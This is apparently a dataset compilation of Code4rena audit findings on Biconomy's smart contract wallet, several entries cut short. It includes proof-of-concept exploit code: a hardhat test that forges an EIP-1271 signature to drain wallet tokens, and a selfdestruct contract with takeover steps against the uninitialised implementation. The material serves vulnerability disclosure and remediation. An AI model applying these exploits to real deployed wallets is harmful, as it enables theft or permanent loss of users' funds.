xanoutas/solidity-security-findings huggingface dataset:
EIP-1271 contract signing lets anyone execute any tx from the wallet
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343


# Vulnerability details

## Description
The `checkSignatures` in `SmartAccount` is copied from [Gnosis](https://github.com/safe-global/safe-contracts/blob/main/contracts/GnosisSafe.sol#L240-L304). Gnosis wallets can have multiple owners some being contracts. To handle this Gnosis implements [EIP-1271](https://eips.ethereum.org/EIPS/eip-1271) to handle contract signing. Gnosis then verifies that the signing contract is one of the owners of the wallet.

In Smart Contract Wallets however the code for contract signing is still there (even though the owners should only be EOAs according to their [docs](https://biconomy.notion.site/Biconomy-SDK-adf0c6cedb08436097bf099b8f46aac7)). However the is no verification that the signing contract has anything to do with owner. 

An attacker can deploy a contract that implements `ISignatureValidator` and use it to execute any transaction on behalf of the wallet.

## Impact
Using an EIP-1271 SignatureValidation contract an attacker can execute any transaction on behalf of the wallet. Stealing all the assets or claiming ownership.

## Proof of Concept
PoC stealing all assets in `testGroup1.ts`

```javascript
  it("attacker can steal all assets using a SignatureValidation contract", async function () {
    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    let attacker = await accounts[3].getAddress();

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      data: encodeTransfer(attacker, ethers.utils.parseEther("100").toString()),
      nonce: await userSCW.getNonce(0),
    });

    console.log(safeTx);

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    const SignatureValidator = await ethers.getContractFactory("SignatureValidator");
    const sigVal = await SignatureValidator.deploy();
    await sigVal.deployed();
    console.log("SignatureValidator deployed at: ", sigVal.address);

    let signature = "0x";
    // address in r
    signature += "000000000000000000000000" + sigVal.address.slice(2);
    // s, needs to be >65
    signature += "0000000000000000000000000000000000000000000000000000000000000042";
    // v = 0, to trigger contract signature
    signature += "0000";
    // extra bytes to make s point into signatures
    signature += "0000000000000000000000000000000000000000000000000000000000000000";
    
    await expect(
      // attacker connects to wallet
      userSCW.connect(accounts
Meeting the requirement for an individual nonce for signatures
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L205
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212


# Vulnerability details

Links to Affected Code: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192:219

***
## Vulnerability details:
### Short issue description: 
By passing the `batchId` field in the function parameters [execTransaction](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194) users have the opportunity to change the nonce to the one required for the signature, which later results in the opportunity to repeat the entire history of transactions made through [```execTransaction```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192) n-times, since you can put the desired nonce in the transaction again to repeat it
***

## Impact
- Repetition of all passed transactions
- Loss of funds
- Excessive refund payment
- Everything that follows from the above points
***

## Tools Used
- https://github.com/code-423n4/2023-01-biconomy/
- hardhat
***
## Recommended Mitigation Steps
- Pass ```batchId``` and nonce into signature

## Proof of Concept

#### Let's now analyze in detail::
The execTransaction method has the following highlights:
- Transfer [```batchId```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L194) a separate parameter
```java
function execTransaction(
    Transaction memory _tx,
    uint256 batchId,  //<--- Here
    FeeRefund memory refundInfo,
    bytes memory signatures
) public payable virtual override returns (bool success) {
```
- Declarate and initialization the [```txHashData```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L205) in which is inserted [nonce depending on the batchId](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212)
```java
bytes memory txHashData =
    encodeTransactionData(
    // Transaction info
`userOperation` with `initCode` can be frontran
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L38
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L40


# Vulnerability details

## Impact
Every `userOperation` with valid `initCode` (wallet deployment) can be frontran which results in DoS

## Proof of Concept
1. Alice provides a `userOperation` with the intention to deploy a proxy wallet for herself
2. Malicious attacker spots the transaction in the mempool and fetches the `initCode`
3. Malicious attacker either calls `SenderCreator.createSender` with the initcode, or directly `SmartAccountFactory.deployCounterFactualWallet`
4. This will result in a deployment of the desired proxy wallet
5. Alice's transaction gets executed but reverts during the desired wallet deployment:

`require(address(proxy) != address(0), "Create2 call failed");` *The create2 call will return address(0) if the desired contract is already deployed.

6. This way, any `userOperation` with an `initCode` can be DoS'd

## Tools Used
VSCode

## Recommended Mitigation Steps
Currently, there is no easy way to minimize this issue, because the `create2` call doesnt return any difference if the transaction actually failed because something went wrong, or if it just failed because the desired contract is already deployed.

One could consider removing the `require(address(proxy) != address(0), "Create2 call failed");` requirement, however, this most likely will lead to other issues in the transaction flow one needs to think careful about.
An attacker can execute any transaction by passed own contract signature validator
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L196
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L218
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L312


# Vulnerability details

***
## Vulnerability details:
### Short issue description: 
Since the [ISignatureValidator](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342) contract is [taken from the signature](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317) that the [user passes](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L196). 
He can pass his ISignatureValidator and make any signature valid, and as a result perform any transaction, because the user can set the address of ISignatureValidator in the signatures parameter
***

## Impact
- Worst cases: Collection of all funds and transfer of ownership over the contract
- Execute any transactions
- Repetition of all passed transactions
- Loss of funds
- Excessive refund payment
- Everything that follows from the above points
***

## Tools Used
https://github.com/code-423n4/2023-01-biconomy/
hardhat
***
## Recommended Mitigation Steps
- whitelist ISignatureValidator
- remover functionality

## Proof of Concept

#### Let's now analyze in detail::
The ```execTransaction``` and ```checkSignatures``` method has the following highlights::
- Transfer [```signatures```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L196) a separate parameter

- call [```checkSignatures```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L218) with passed ```signatures``` field
- split [```signatures```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L312)
- get [```_signer``` from ```r```](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317)
- more gate for ```s```
- call [```isValidSignature``` from ```_signer```](ht
deployCounterFactualWallet frontrunning/pre-deployment risks
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/base/FallbackManager.sol#L32-L52
https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33


# Vulnerability details

The SmartAccountFactory.deployCounterFactualWallet function creates a proxy for an owner in a deterministic way. Besides the owner address and index, which are used to define the proxy address, the caller can also supply the endpoint and handler addresses.
This means a malicious user can create a wallet for a target owner with custom endpoint and/or handler. Since there is only one endpoint per chain, changing the endpoint will basically break EIP4337 functionality, so this is pretty pointless.
Being able to set a different handler does allow various attack scenarios.

The _handler parameter sets the fallbackhandler address. When the proxy is called with a non existing function selector, it will be handled by the [fallback manager function](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/base/FallbackManager.sol#L32) which forwards the call to the handler contract.  By default this is set to [DefaultCallbackHandler](https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/handler/DefaultCallbackHandler.sol).

## Impact, Severity and Risk

The basis is to set a token address or a dApp contract as a handler. The fallback will then directly call the functions in that contract.
So if for example the WETH contract is set as the handler, when the wallet has any WETH, we can directly call the WETH functions directly from the wallet via the fallback, making it possible to transfer or approve the tokens.

The impact depends a lot on the future dApps that will be using the wallets. In the 'ideal' scenario, it is possible to steal all or some of the assets in the wallet. For this to happen, a lot of conditions should be met, making it hard to succees in real life.  
For this I have set the severity to Medium instead of High.

1. Need to choose a target owner beforehand.
Before the wallet is created, it is hard to guess which owner will fund the wallet with which kind of assets, and how he will use it. This makes it hard to choose a possible victim
2. Create the wallet with modified handler without raising suspicion of the owner.
It is possible to front-run wallet creation. If the owner creates the wallet himself, their transaction will fail and raise suspicion. If a dApp automatically creates wallets for its users it might go unnoticed.
Is is also possible to pre-create the wallet, hoping that a user will later try to create one. This could be a scenario when a user is actively using a wallet on 1 chain. It is then possible to create the same wall
Bypass Authentication 
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342


# Vulnerability details

## Impact 
By using a smart contract to return the expected magic value an operator can bypass authentication checks in `SmartAccount`.
Bypassing the authentication would allow an operator to call other contracts using someone else's `SmartAccount`. 

An operator can craft a signature such that it points to an address he controls. When the contract calls isValidSignature on his contract the contract returns the appropriate value. This part of the function doesn’t check if the signer matches the owner when it checks the contract signature. 

## Proof of Concept
operator creates a contract that returns ERC1271's magic value
operator crafts signature such that v == 0
The `isValidSignature` function is called on the operator's contract which returns the magic value
The contract executes the operators transaction


## Recommended Mitigation Steps
Require at least two signatures when using a contract signature so that one of the signatures can be used to verify the call came from the owner.
Attacker can selfdestruct the code/logic of SmartAccount's implementation contract, leading to permanent loss of funds, of the owner of SmartAccount
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

1. init() which gives ownership to attacker: https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166
2. execFromEntryPoint() which will be called, to delegate calls to malicious contract: https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L489


# Vulnerability details

## Vulnerability
The core issue is that the implementation contract of SmartAccount has NOT been initialised __in its OWN context__. Though it has been, in its Proxy's context. This gives anybody the ability to directly call *SmartAccount.init()* in its own context, and become owner of this implementation contract and set any value they wish to the *_entryPoint* variable. Now, they can call _SmartAccount.execFromEntryPoint()_ which can delegate call to a malicious contract that can selfdestruct() itself. This results in the code of SmartAccount implementation contract getting destroyed forever, giving no chance for its Proxy to upgrade its logic, because the contract upgrade logic, i.e _updateImplementation()_ function is defined in the destroyed implementation contract itself. This bug is very similar to the one in OpenZeppelin's UUPS proxies: https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680

## Impact
Because the code or logic of the SmartAccount is destroyed forever with no possibility to upgrade it, all the funds that it held will be permanently lost, plus the smart contract wallet becomes completely unusable as its Proxy will essentially be delegating calls to an address with no executable code.

## Proof of Concept
Add this malicious contract, Suicide.sol in `contracts/smart-contract-wallet` directory:
```
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.12;

/// @title Suicide - contract that selfdestructs itself
contract Suicide {
    address public attacker = 0x90F79bf6EB2c4f870365E785982E1f101E93b906;

    function explode() external {
        selfdestruct(payable(attacker));
    }
}
```
Add the following piece of code in **testGroup1.ts** on line 124 (https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/test/smart-wallet/testGroup1.ts#L124), to add implementation contract destroy logic to the test suite and see its consequence (P.S. refer diffchecker below for completely updated **testGroup1.ts** with initialisations etc.):

```js
  ///////////////// SmartAccount's implementation contract destroy logic /////////////////

    // attacker calls init() on baseImpl to gain its ownership and set _entryPointAddress and
    // handler on SmartAccount to its own address
    await baseImpl
      .connect(attacker)
      .init(attacker.address, attacker.address, attacker.address);
    console.log("attacker address", attacker.address);
    console.log("baseImpl owner", await baseImpl.owner());

    // deploy malicious contract
    con
SmartAccount.checkSignatures() does not check correctly when v is 0
Audit: 2023-01-biconomy-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L302


# Vulnerability details

## Impact
All SmartAccount contracts can be hacked, assets can be stolen, arbitrary functions can be called by hackers.

## Proof of Concept
A hacker can hack any SmartAccount by calling [SmartAccount.sol#execTransaction](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L192).
All the hacker needs to do is to deploy an eip-1271 contract and assemble a signature that meets the structural requirements of [SmartAccount.sol#checkSignatures](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L302).

The hacker was able to call execTransaction successfully because [SmartAccount.sol#checkSignatures](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L302) does not check that the [`_signer`](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317) is the [`owner`](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L51) when v is 0.

Using this vulnerability and the power of execTransaction, the hacker can make the SmartAccount to `call` or `delegatecall` any interface of any contract, including but not limited to:
* call [SmartAccount.sol#setOwner](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L109) to take the ownership.
* call [SmartAccount.sol#transfer](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L449) after `setOwner` to drain ETH in the wallet.
* call `transfer` or `transferFrom` of ERC20/ERC721 token contracts directly to drain assets in the wallet.
* etc

## Tools Used
Manual

## Recommended Mitigation Steps

I recommend to checking in [SmartAccount.sol#checkSignatures](https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L317) to make sure `_signer` is the owner:
```
function checkSignatures(
        bytes32 dataHash,
        bytes memory data,
        bytes memory signatures
    ) public view virtual {
    // omitted
    if(v == 0) {
        // omitted
        _signer = address(uint160(uint256(r)));
        // -- added --
        require(_signer == owner, "INVALID_SIGNATURE");
        // omitted
    }
    //